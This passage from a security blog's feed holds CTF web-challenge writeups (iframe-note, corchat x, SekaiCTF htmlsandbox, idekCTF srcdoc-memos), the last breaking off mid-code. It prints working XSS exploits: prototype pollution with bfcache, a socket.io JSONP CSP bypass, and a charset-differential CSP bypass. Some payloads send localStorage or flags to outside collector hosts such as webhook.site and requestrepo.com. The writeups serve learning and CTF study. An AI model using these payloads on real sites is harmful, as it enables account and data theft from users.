class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>//example.com/static/axios.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This allows direct control over the src on the page.</p><p>The author may have been too lazy to set up an instance to host the payload, so they directly used a data URI, turning the script into <code>&lt;script src=&quot;data:text/javascript,&#123;XSS&#125;&quot;&gt;</code>.</p><p>To achieve this result, headers need to be sent in the request, so bfcache is utilized. The process is:</p><ol><li>First visit the final required URL.</li><li>Redirect to the view page, using prototype pollution to send a request with headers via fetch.</li><li>Go back to the previous page; at this point, due to bfcache, the response from the previous fetch will be reused, which is the version with headers.</li><li>XSS</li></ol><p>The author’s exploit:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">    <span class="token comment">// const BASE_URL = "http://localhost:3000";</span>    <span class="token keyword">const</span> <span class="token constant">BASE_URL</span> <span class="token operator">=</span> <span class="token string">"https://iframe-note.be.ax"</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">HOOK_URL</span> <span class="token operator">=</span> <span class="token string">"https://webhook.site/xxxxx"</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token function-variable function">sleep</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">ms</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>resolve<span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token function-variable function">main</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> dataUrl <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">data:text/javascript,navigator.sendBeacon('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">HOOK_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">',JSON.stringify(localStorage))</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>      <span class="token keyword">const</span> win <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/iframe/view</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/view?id=view&amp;__%70roto__[headers][SCRIPT_NAME]=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/iframe&amp;__%70roto__[baseURL]=/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>origin<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/back.html?n=2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> n <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">URLSearchParams</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"n"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  history<span class="token punctuation">.</span><span class="token function">go</span><span class="token punctuation">(</span><span class="token operator">-</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="corchat-x-1-solve">corchat x - 1 solve</span></h3><p>Author: larry</p><p>A challenge related to socket.io, with three main points:</p><ol><li>Can send a disconnect event but no actual disconnect occurs.</li><li>socket.io’s JSONP can be used to bypass CSP.</li><li>Use the performance API to list previously loaded resources.</li></ol><p>Below is the exploit posted by EhhThing in Discord:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> socketio<span class="token keyword">import</span> requests<span class="token keyword">import</span> time<span class="token keyword">import</span> jsonbase_url <span class="token operator">=</span> <span class="token string">'https://corchat-x-a6e1f8c45d3ca520.be.ax'</span><span class="token keyword">def</span> <span class="token function">create_sid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    session <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>    login <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/'</span></span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> allow_redirects<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> login<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">302</span><span class="token punctuation">,</span> login<span class="token punctuation">.</span>status_code    res <span class="token operator">=</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/'</span></span><span class="token punctuation">,</span> params <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'EIO'</span><span class="token punctuation">:</span> <span class="token number">4</span><span class="token punctuation">,</span>        <span class="token string">'transport'</span><span class="token punctuation">:</span> <span class="token string">'polling'</span><span class="token punctuation">,</span>        <span class="token string">'t'</span><span class="token punctuation">:</span> <span class="token string">'bingus'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> res<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">,</span> res<span class="token punctuation">.</span>status_code    socket_session <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>res<span class="token punctuation">.</span>text<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'fake session'</span><span class="token punctuation">,</span> socket_session<span class="token punctuation">)</span>    res <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/'</span></span><span class="token punctuation">,</span> params <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'EIO'</span><span class="token punctuation">:</span> <span class="token number">4</span><span class="token punctuation">,</span>        <span class="token string">'transport'</span><span class="token punctuation">:</span> <span class="token string">'polling'</span><span class="token punctuation">,</span>        <span class="token string">'t'</span><span class="token punctuation">:</span> <span class="token string">'P3qHGUZ'</span><span class="token punctuation">,</span>        <span class="token string">'sid'</span><span class="token punctuation">:</span> socket_session<span class="token punctuation">[</span><span class="token string">'sid'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token string">b'40'</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> res<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">,</span> res<span class="token punctuation">.</span>status_code    <span class="token keyword">return</span> socket_session<span class="token punctuation">[</span><span class="token string">'sid'</span><span class="token punctuation">]</span>bot_session <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>login <span class="token operator">=</span> bot_session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/'</span></span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'name'</span><span class="token punctuation">:</span> <span class="token string">'FizzBuzz101'</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> allow_redirects<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token keyword">assert</span> login<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">302</span><span class="token punctuation">,</span> login<span class="token punctuation">.</span>status_codesio <span class="token operator">=</span> socketio<span class="token punctuation">.</span>Client<span class="token punctuation">(</span>http_session<span class="token operator">=</span>bot_session<span class="token punctuation">)</span>ready <span class="token operator">=</span> <span class="token boolean">False</span><span class="token decorator annotation punctuation">@sio<span class="token punctuation">.</span>event</span><span class="token keyword">def</span> <span class="token function">connect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> ready    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'connected!'</span><span class="token punctuation">)</span>    <span class="token comment"># fake disconnect event so that the bot can connect as well</span>    sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'disconnect'</span><span class="token punctuation">)</span>    time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    ready <span class="token operator">=</span> <span class="token boolean">True</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'ready for bot!'</span><span class="token punctuation">)</span><span class="token decorator annotation punctuation">@sio<span class="token punctuation">.</span>event</span><span class="token keyword">def</span> <span class="token function">message</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> ready    <span class="token keyword">if</span> <span class="token keyword">not</span> ready<span class="token punctuation">:</span>        <span class="token keyword">return</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> data<span class="token punctuation">)</span>    <span class="token keyword">if</span> data<span class="token punctuation">[</span><span class="token string">'content'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">'FizzBuzz101 joined.'</span><span class="token punctuation">:</span> <span class="token comment"># XSS bot opened the chat</span>        first_sid <span class="token operator">=</span> create_sid<span class="token punctuation">(</span><span class="token punctuation">)</span>        js_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""(window.exfil = data => window.top.opener.top.socket.emit('message', data))(window.observer = new parent.PerformanceObserver((list) => &#123; list.getEntries().forEach((entry) => &#123; window.exfil('Flag: ' + decodeURIComponent(entry.name.split('/').pop())); &#125;); &#125;))(window.observer.observe(&#123; type: 'resource', buffered: true &#125;))"""</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">)</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> <span class="token string">'\\"+'</span><span class="token operator">+</span>js_payload<span class="token operator">+</span><span class="token string">');//'</span><span class="token punctuation">)</span>        second_sid <span class="token operator">=</span> create_sid<span class="token punctuation">(</span><span class="token punctuation">)</span>        jsonp_url <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/?EIO=4&amp;transport=polling&amp;t=bingus&amp;sid=</span><span class="token interpolation"><span class="token punctuation">&#123;</span>second_sid<span class="token punctuation">&#125;</span></span><span class="token string">&amp;j=0'</span></span>        js_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""(window.secret=window.open('','secret'))(window.a=window.top.document.getElementById('xss').cloneNode())(window.a.srcdoc=window.a.srcdoc.replace('%s','%s'))(window.secret.document.body.appendChild(window.a))"""</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token punctuation">(</span>second_sid<span class="token punctuation">,</span> first_sid<span class="token punctuation">)</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> <span class="token string">'\\"+'</span><span class="token operator">+</span>js_payload<span class="token operator">+</span><span class="token string">');//'</span><span class="token punctuation">)</span>        xss_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""&lt;a id=&amp;quot;___eio&amp;quot;>&lt;/a>&lt;a id=&amp;quot;___eio&amp;quot;>&lt;/a>&lt;script src=&amp;quot;%s&amp;quot;>&lt;/script>"""</span> <span class="token operator">%</span> jsonp_url        chat_message <span class="token operator">=</span> <span class="token string">'&lt;iframe id="xss" srcdoc="%s">&lt;/iframe>'</span> <span class="token operator">%</span> xss_payload<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>chat_message<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">400</span><span class="token punctuation">,</span> <span class="token string">'chat message too long, time to write better payload'</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> chat_message<span class="token punctuation">)</span>sio<span class="token punctuation">.</span>connect<span class="token punctuation">(</span>base_url<span class="token punctuation">)</span>sio<span class="token punctuation">.</span>wait<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="webx2frepayment-pal-0-solves">web&#x2F;repayment-pal - 0 solves</span></h3><p>Author: strellic</p><p>A question related to Next.js, which no one solved during the competition, and no solution was announced afterward.</p><p>Below are the hints that were released:</p><ol><li>+24 hour hint drop: hm, why is dev mode enabled?</li><li>+36 hour hint drop: try to find a way to get html injection!</li><li>Post-CTF hint drop: An earlier version of the challenge had an extra check in the middleware, requiring all API requests to have the header Sec-Fetch-Dest: empty</li></ol><h2><span id="sekaictf-2024">sekaiCTF 2024</span></h2><h3><span id="htmlsandbox-4-solves">htmlsandbox (4 solves)</span></h3><p>Author: arxenix</p><p>Challenge link: <a href="https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox">https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox</a></p><p>This challenge allows you to upload HTML, but blocks everything it can, and checks if there is: <code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src &#39;none&#39;&quot;&gt;</code> in the head to ensure that JavaScript code cannot be executed.</p><p>The solution is that during the check, the HTML is transformed into <code>data:text/html</code> for validation, but when accessed, it is treated as a regular webpage, and the parsing rules for these two are different. When the file is large, the former parses everything at once, while the latter does it chunk by chunk, and each chunk can have different encoding.</p><p>Details can be found in the author’s writeup: <a href="https://blog.ankursundara.com/htmlsandbox-writeup/">SekaiCTF’24 htmlsandbox - Author Writeup</a> or in this article <a href="https://0xalessandro.github.io/posts/sekai/">0xalessandro’s writeup</a>, where the final exploit looks like this:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requests<span class="token comment">#0xAlessandro was here</span>c1 <span class="token operator">=</span> <span class="token triple-quoted-string string">b'''&lt;html>&lt;head>    &lt;!-- \x1b$@ aa -->'''</span> <span class="token operator">+</span> <span class="token triple-quoted-string string">b'''&lt;meta http-equiv="Content-Security-Policy" content="default-src 'none'">\x1b(B &lt;!-- test -->'''</span> <span class="token operator">+</span> <span class="token string">b"\x1b(B&lt;!-- "</span> <span class="token operator">+</span> <span class="token string">b"A"</span><span class="token operator">*</span><span class="token number">64000</span> <span class="token operator">+</span> <span class="token string">b"-->"</span><span class="token operator">+</span> <span class="token string">b"&lt;!--"</span><span class="token operator">+</span><span class="token string">b"A"</span><span class="token operator">*</span><span class="token number">100</span><span class="token operator">+</span><span class="token string">b"-->"</span>c2 <span class="token operator">=</span> <span class="token triple-quoted-string string">b'''    &lt;meta charset="utf-8">    &lt;/head>    &lt;body>    &lt;svg>&lt;animate onbegin="fetch(`https://s9cs3dwb.requestrepo.com?c=$&#123;localStorage.getItem('flag')&#125;`)" attributeName="x" dur="1s">    &lt;/body>&lt;/html>'''</span>html <span class="token operator">=</span> c1 <span class="token operator">+</span> c2<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'test.html'</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>   f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>html<span class="token punctuation">)</span>r <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string">'https://htmlsandbox.chals.sekai.team/upload'</span><span class="token punctuation">,</span> data<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">'html'</span><span class="token punctuation">:</span> html<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">.</span>text<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When using a data URI, the entire HTML is parsed as utf-8 without any issues.</p><p>However, when accessed as a webpage, it is divided into two chunks, and since <code>&lt;meta charset=&quot;utf-8&quot;&gt;</code> appears in the second chunk, the first chunk is parsed using <code>JIS X 0208 1983</code>, causing the CSP to turn into a bunch of garbled characters, which gets removed.</p><p>When the second chunk is read and the meta is encountered, it switches to UTF-8 and loads as usual, thus bypassing the CSP and achieving XSS.</p><p>The details of this encoding exploit can be referenced here: <a href="https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/">Encoding Differentials: Why Charset Matters</a>.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;It’s been a while since I wrote writeup. I’ve wanted to write for a long time but kept procrastinating. For something like CTF writeups, speed is quite important because most discussions happen in Discord after the competition. Over time, it’s harder to find information, and it’s very likely to forget, so I need to quickly write a writeup to record those useful pieces of information.&lt;/p&gt;
&lt;p&gt;This article brings together writeups for three CTFs. Some I didn’t play myself; I just looked at others’ writeups and take a note of them.&lt;/p&gt;
&lt;p&gt;Keyword list:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;bfcache&lt;/li&gt;
&lt;li&gt;response splitting&lt;/li&gt;
&lt;li&gt;Service-Worker-Allowed&lt;/li&gt;
&lt;li&gt;gunicorn script_name&lt;/li&gt;
&lt;li&gt;socket.io disconnect&lt;/li&gt;
&lt;li&gt;socket.io JSONP CSP bypass&lt;/li&gt;
&lt;li&gt;performance API&lt;/li&gt;
&lt;li&gt;streaming HTML parsing &lt;/li&gt;
&lt;li&gt;content-type ISO-2022-JP&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>idekCTF 2024 筆記之 iframe 高級魔法</title>
    <link href="https://blog.huli.tw/2024/09/07/idek-ctf-2024-iframe/"/>
    <id>https://blog.huli.tw/2024/09/07/idek-ctf-2024-iframe/</id>
    <published>2024-09-07T02:40:00.000Z</published>
    <updated>2025-10-09T21:57:46.477Z</updated>
    
    <content type="html"><![CDATA[<p>在 idekCTF 2024 中，由 icesfont 所出的一道題目 srcdoc-memos 十分有趣，牽涉到了許多 iframe 的相關知識。我沒有實際參加比賽，但賽後看了題目以及解法，還是花了好幾天才終於看懂為什麼，十分值得把過程以及解法記錄下來。</p><p>由於這題牽涉到不少與 iframe 相關的知識，我會盡量一步一步來，會比較好理解。</p><span id="more"></span><h2><span id="srcdoc-memos">srcdoc-memos</span></h2><p>題目連結：<a href="https://github.com/idekctf/idekctf-2024/tree/main/web/srcdoc-memos">https://github.com/idekctf/idekctf-2024/tree/main/web/srcdoc-memos</a></p><p>這題的程式碼如下，目標是達成 XSS 偷到預先設置好的 flag：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token function-variable function">escape</span> <span class="token operator">=</span> <span class="token parameter">html</span> <span class="token operator">=></span> html  <span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">'"'</span><span class="token punctuation">,</span> <span class="token string">"&amp;quot;"</span><span class="token punctuation">)</span>  <span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">"&lt;"</span><span class="token punctuation">,</span> <span class="token string">"&amp;lt;"</span><span class="token punctuation">)</span>  <span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">">"</span><span class="token punctuation">,</span> <span class="token string">"&amp;gt;"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token function-variable function">handler</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> url <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">URL</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>url<span class="token punctuation">,</span> <span class="token string">"http://localhost"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> memo<span class="token punctuation">;</span>  <span class="token keyword">switch</span> <span class="token punctuation">(</span>url<span class="token punctuation">.</span>pathname<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">case</span> <span class="token string">"/"</span><span class="token operator">:</span>    memo <span class="token operator">=</span>      cookie<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>headers<span class="token punctuation">.</span>cookie <span class="token operator">||</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span>memo <span class="token operator">??</span>      <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;h2>Welcome to srcdoc memos!&lt;/h2>\n&lt;p>HTML is supported&lt;/p></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"text/html; charset=utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>document.head.insertAdjacentHTML(  "beforeend",  \`&lt;meta http-equiv="Content-Security-Policy" content="script-src 'none';">\`);if (window.opener !== null) &#123;  console.error("has opener");  document.documentElement.remove();&#125;&lt;/script>&lt;h1>srcdoc memos&lt;/h1>&lt;div class="horizontal">  &lt;iframe srcdoc="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">escape</span><span class="token punctuation">(</span>memo<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">">&lt;/iframe>  &lt;textarea name="memo" placeholder="&lt;b>TODO&lt;/b>: ..." form="update"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">escape</span><span class="token punctuation">(</span>memo<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">&lt;/textarea>&lt;/div>&lt;form id="update" action="/memo">  &lt;input type="submit" value="update memo">&lt;/form>    </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">break</span><span class="token punctuation">;</span>  <span class="token keyword">case</span> <span class="token string">"/memo"</span><span class="token operator">:</span>    memo <span class="token operator">=</span> url<span class="token punctuation">.</span>searchParams<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"memo"</span><span class="token punctuation">)</span> <span class="token operator">??</span> <span class="token string">""</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span>statusCode <span class="token operator">=</span> <span class="token number">302</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Set-Cookie"</span><span class="token punctuation">,</span> cookie<span class="token punctuation">.</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token string">"memo"</span><span class="token punctuation">,</span> memo<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Location"</span><span class="token punctuation">,</span> <span class="token string">"/"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">break</span><span class="token punctuation">;</span>  <span class="token keyword">default</span><span class="token operator">:</span>    res<span class="token punctuation">.</span>statusCode <span class="token operator">=</span> <span class="token number">404</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"text/plain; charset=utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token string">"not found"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" 